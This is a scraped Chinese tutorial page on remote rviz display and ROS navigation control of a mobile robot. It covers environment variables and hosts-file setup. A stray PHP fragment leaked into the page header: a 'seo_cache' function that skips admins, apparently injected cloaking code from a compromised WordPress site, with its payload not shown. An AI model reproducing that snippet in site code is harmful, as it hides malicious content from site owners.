function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?> rviz 远程显示及控制移动机器人的导航_人工智能_开心洋葱网
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rviz 远程显示及控制移动机器人的导航

人工智能 bbtang5568 2875次浏览 0个评论 手机上查看

环境： （1）虚拟机本地端IP 192.168.10.30 （虚拟机需要通过桥接的形式与PC本地机连接， PC 机IP 192.168.10.21） （2）移动端 IP 192.168.10.11   1 配置本地环境变量 （1）打开 .bashrc   

gedit ~/.bashrc

  （2）配置ROS_MASTER_URI 和 ROS_HOSTNAME 在 .bashrc 文件中添加如下配置：   

export ROS_MASTER_URI=http://192.168.10.11:11311
export ROS_HOSTNAME=192.168.10.30

  ROS_MASTER_URI：移动端 ROS_HOSTNAME：本地端IP   （3）配置 /etc/hosts   

gedit /etc/hosts

  192.168.10.11 zyn (移动端主机名)   2 打开本地终端 Ctrl + Alt + t   3 打开rviz   4 通过2D Nav Goal功能控制机器人移动

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